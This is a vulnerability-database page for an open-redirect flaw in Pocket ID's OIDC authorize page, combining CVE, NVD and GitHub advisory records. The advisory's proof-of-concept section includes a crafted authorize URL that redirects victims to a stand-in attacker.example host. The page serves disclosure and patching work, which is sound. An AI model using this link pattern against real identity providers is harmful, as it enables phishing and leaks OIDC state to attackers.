Vulnerability-Lookup

CVE-2026-55834 (GCVE-0-2026-55834)

Vulnerability from cvelistv5 – Published: 2026-08-28 16:27 – Updated: 2026-08-28 20:28

Title

Pocket ID: Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none

Summary

Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirect_uri query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid client_id can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-28 20:27 UTC

CWE

CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/pocket-id/pocket-id/security/a…	x_refsource_CONFIRM
https://github.com/pocket-id/pocket-id/commit/8a7…	x_refsource_MISC
https://github.com/pocket-id/pocket-id/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
pocket-id	pocket-id	Affected: >= 2.6.0, < 2.9.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55834",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-28T20:27:55.433241Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-28T20:28:38.924Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pocket-id",
          "vendor": "pocket-id",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.6.0, \u003c 2.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirect_uri query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid client_id can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T16:27:58.324Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
        },
        {
          "name": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff"
        },
        {
          "name": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0"
        }
      ],
      "source": {
        "advisory": "GHSA-2wvm-8mvp-22qv",
        "discovery": "UNKNOWN"
      },
      "title": "Pocket ID: Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55834",
    "datePublished": "2026-08-28T16:27:58.324Z",
    "dateReserved": "2026-06-17T16:29:38.865Z",
    "dateUpdated": "2026-08-28T20:28:38.924Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55834",
      "date": "2026-09-25",
      "epss": "0.00373",
      "percentile": "0.28587"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "pocket-id",
                "vendor": "pocket-id",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.6.0, \u003c 2.9.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirect_uri query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid client_id can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0."
          }
        ],
        "id": "CVE-2026-55834",
        "lastModified": "2026-09-09T21:09:13.080",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55834",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-28T20:27:55.433241Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-28T20:18:30.030",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-601"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-09-09T00:16:19Z",
      "cve": "CVE-2026-55834",
      "id": "CVE-2026-55834",
      "initial_release_date": "2026-09-09T00:16:19Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-55834",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-55834.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55834",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-28T20:27:55.433241Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-28T20:28:17.696Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "pocket-id",
              "vendor": "pocket-id",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.6.0, \u003c 2.9.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirect_uri query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid client_id can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-601",
                  "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-28T16:27:58.324Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
            },
            {
              "name": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff"
            },
            {
              "name": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0"
            }
          ],
          "source": {
            "advisory": "GHSA-2wvm-8mvp-22qv",
            "discovery": "UNKNOWN"
          },
          "title": "Pocket ID: Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55834",
        "datePublished": "2026-08-28T16:27:58.324Z",
        "dateReserved": "2026-06-17T16:29:38.865Z",
        "dateUpdated": "2026-08-28T20:28:38.924Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55834

Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-09-09 21:09

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff
	security-advisories@github.com	https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0
	security-advisories@github.com	https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pocket-id",
          "vendor": "pocket-id",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.6.0, \u003c 2.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirect_uri query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid client_id can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0."
    }
  ],
  "id": "CVE-2026-55834",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55834",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-28T20:27:55.433241Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:30.030",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-601"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-2WVM-8MVP-22QV

Vulnerability from github – Published: 2026-08-28 16:28 – Updated: 2026-08-28 16:28

Summary

Pocket-ID has an Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none

Details

Summary

The OIDC authorization page in the pocket-id frontend redirects the browser to an attacker-controlled URL without consulting the backend redirect_uri allow-list when the request uses prompt=none. An attacker who knows a valid client_id can craft an /authorize link that sends a victim (or a victim's browser doing a silent re-auth) to any external https URL, enabling phishing and OAuth response smuggling. The backend allow-list validation that protects the normal authenticated flow is bypassed because this path is handled entirely client-side.

Details

For an OIDC authorization request with prompt=none, the SvelteKit frontend short-circuits the flow before the backend ever validates the redirect_uri against the client's registered callback list.

File: frontend/src/routes/authorize/+page.ts (line 14) parses the raw redirect_uri query parameter from the incoming URL.

File: frontend/src/routes/authorize/+page.svelte - in onMount(), when the request carries prompt=none and the user cannot be silently authorized (for example the visitor is not logged in, so login_required must be returned), the page builds the callback URL from the raw redirect_uri and performs:

window.location.href = `${callbackURL}?error=login_required...`

The callbackURL is taken directly from the user-supplied redirect_uri. The only filtering applied is a scheme check that blocks javascript: and data: URLs; any http: or https: origin passes through. The backend allow-list validator GetCallbackURLFromList (which the authenticated code path uses to confirm the redirect_uri matches one of the client's registered callback URLs) is never invoked on this branch.

This means the per-client redirect_uri allow-list, the central control that makes redirect_uri safe in OAuth/OIDC, is not enforced for the prompt=none error-return path. A client_id is not a secret: client metadata is retrievable at /api/oidc/clients/:id/meta, and client_ids appear in any integration's authorization links.

Confirmation that the bypass is purely frontend: an unauthenticated POST to the backend /api/oidc/authorize endpoint correctly returns 401 ({"error":"You are not signed in"}), so the backend never authorizes the request. The redirect nonetheless happens in the browser because +page.svelte issues window.location.href before/without a successful backend authorization.

A second variant exists for an authenticated victim: when prompt=none is combined with a first-time (not yet consented) authorization of a client, the same client-side path can be reached.

Contrast: the standard interactive flow (no prompt=none) posts to the backend, which validates redirect_uri against the registered list before returning a callback. The defect is specific to the client-side prompt=none short-circuit.

PoC

Prerequisites: a running pocket-id instance, a registered OIDC client whose client_id is known to the attacker (obtainable from /api/oidc/clients/:id/meta or any existing integration), and a victim whose browser opens the link (the victim need not be logged in for the login_required branch).

Attacker constructs an authorization URL pointing at the victim's pocket-id, supplying an external redirect_uri and prompt=none:

https://idp.victim.example/authorize?client_id=&redirect_uri=https://attacker.example/collect&response_type=code&scope=openid&prompt=none

Victim opens the link. The frontend authorize page loads, determines the silent auth cannot succeed (login_required), and executes:

window.location.href = "https://attacker.example/collect?error=login_required&state=..."

The browser is redirected to https://attacker.example/collect. Expected result on a fixed build: the page would refuse the redirect because redirect_uri does not match the client's registered callback list and would render an error in place instead of navigating off-origin.

Validation level: code-level confirmation at commit fc42f62. This is a browser-side window.location.href redirect, so it is not reproducible with curl; the backend was confirmed to reject the unauthenticated request (401) while the frontend performs the navigation regardless. Evidence notes saved to screenshots/001_open_redirect_evidence.txt.

Impact

Unauthenticated attacker, victim interaction required (clicking or being silently redirected). The trusted pocket-id domain is used to bounce a victim to an arbitrary external site, which is effective for credential phishing (the user trusts the IdP origin in the initial link) and for leaking OIDC error/state parameters to an attacker endpoint. Integrity impact is limited to redirection; no confidentiality or availability loss of pocket-id itself. Note: an abandoned PR (#1450) addressed a related protocol-relative URL issue in a different email-redirect path but was not merged and does not cover this authorize-page path.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.8.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocket-id/pocket-id/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:28:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe OIDC authorization page in the pocket-id frontend redirects the browser to an attacker-controlled URL without consulting the backend redirect_uri allow-list when the request uses prompt=none. An attacker who knows a valid client_id can craft an /authorize link that sends a victim (or a victim\u0027s browser doing a silent re-auth) to any external https URL, enabling phishing and OAuth response smuggling. The backend allow-list validation that protects the normal authenticated flow is bypassed because this path is handled entirely client-side.\n\n### Details\nFor an OIDC authorization request with prompt=none, the SvelteKit frontend short-circuits the flow before the backend ever validates the redirect_uri against the client\u0027s registered callback list.\n\nFile: frontend/src/routes/authorize/+page.ts (line 14) parses the raw redirect_uri query parameter from the incoming URL.\n\nFile: frontend/src/routes/authorize/+page.svelte - in onMount(), when the request carries prompt=none and the user cannot be silently authorized (for example the visitor is not logged in, so login_required must be returned), the page builds the callback URL from the raw redirect_uri and performs:\n\n    window.location.href = `${callbackURL}?error=login_required...`\n\nThe callbackURL is taken directly from the user-supplied redirect_uri. The only filtering applied is a scheme check that blocks javascript: and data: URLs; any http: or https: origin passes through. The backend allow-list validator GetCallbackURLFromList (which the authenticated code path uses to confirm the redirect_uri matches one of the client\u0027s registered callback URLs) is never invoked on this branch.\n\nThis means the per-client redirect_uri allow-list, the central control that makes redirect_uri safe in OAuth/OIDC, is not enforced for the prompt=none error-return path. A client_id is not a secret: client metadata is retrievable at /api/oidc/clients/:id/meta, and client_ids appear in any integration\u0027s authorization links.\n\nConfirmation that the bypass is purely frontend: an unauthenticated POST to the backend /api/oidc/authorize endpoint correctly returns 401 ({\"error\":\"You are not signed in\"}), so the backend never authorizes the request. The redirect nonetheless happens in the browser because +page.svelte issues window.location.href before/without a successful backend authorization.\n\nA second variant exists for an authenticated victim: when prompt=none is combined with a first-time (not yet consented) authorization of a client, the same client-side path can be reached.\n\nContrast: the standard interactive flow (no prompt=none) posts to the backend, which validates redirect_uri against the registered list before returning a callback. The defect is specific to the client-side prompt=none short-circuit.\n\n### PoC\nPrerequisites: a running pocket-id instance, a registered OIDC client whose client_id is known to the attacker (obtainable from /api/oidc/clients/:id/meta or any existing integration), and a victim whose browser opens the link (the victim need not be logged in for the login_required branch).\n\n1. Attacker constructs an authorization URL pointing at the victim\u0027s pocket-id, supplying an external redirect_uri and prompt=none:\n\n   https://idp.victim.example/authorize?client_id=\u003cknown_client_id\u003e\u0026redirect_uri=https://attacker.example/collect\u0026response_type=code\u0026scope=openid\u0026prompt=none\n\n2. Victim opens the link. The frontend authorize page loads, determines the silent auth cannot succeed (login_required), and executes:\n\n   window.location.href = \"https://attacker.example/collect?error=login_required\u0026state=...\"\n\n3. The browser is redirected to https://attacker.example/collect. Expected result on a fixed build: the page would refuse the redirect because redirect_uri does not match the client\u0027s registered callback list and would render an error in place instead of navigating off-origin.\n\nValidation level: code-level confirmation at commit fc42f62. This is a browser-side window.location.href redirect, so it is not reproducible with curl; the backend was confirmed to reject the unauthenticated request (401) while the frontend performs the navigation regardless. Evidence notes saved to screenshots/001_open_redirect_evidence.txt.\n\n### Impact\nUnauthenticated attacker, victim interaction required (clicking or being silently redirected). The trusted pocket-id domain is used to bounce a victim to an arbitrary external site, which is effective for credential phishing (the user trusts the IdP origin in the initial link) and for leaking OIDC error/state parameters to an attacker endpoint. Integrity impact is limited to redirection; no confidentiality or availability loss of pocket-id itself. Note: an abandoned PR (#1450) addressed a related protocol-relative URL issue in a different email-redirect path but was not merged and does not cover this authorize-page path.",
  "id": "GHSA-2wvm-8mvp-22qv",
  "modified": "2026-08-28T16:28:20Z",
  "published": "2026-08-28T16:28:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-2wvm-8mvp-22qv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/commit/8a7577497131229badb35cb4b3a4227b1300afff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocket-id/pocket-id"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pocket-ID has an Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55834 (GCVE-0-2026-55834)

FKIE_CVE-2026-55834

GHSA-2WVM-8MVP-22QV

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour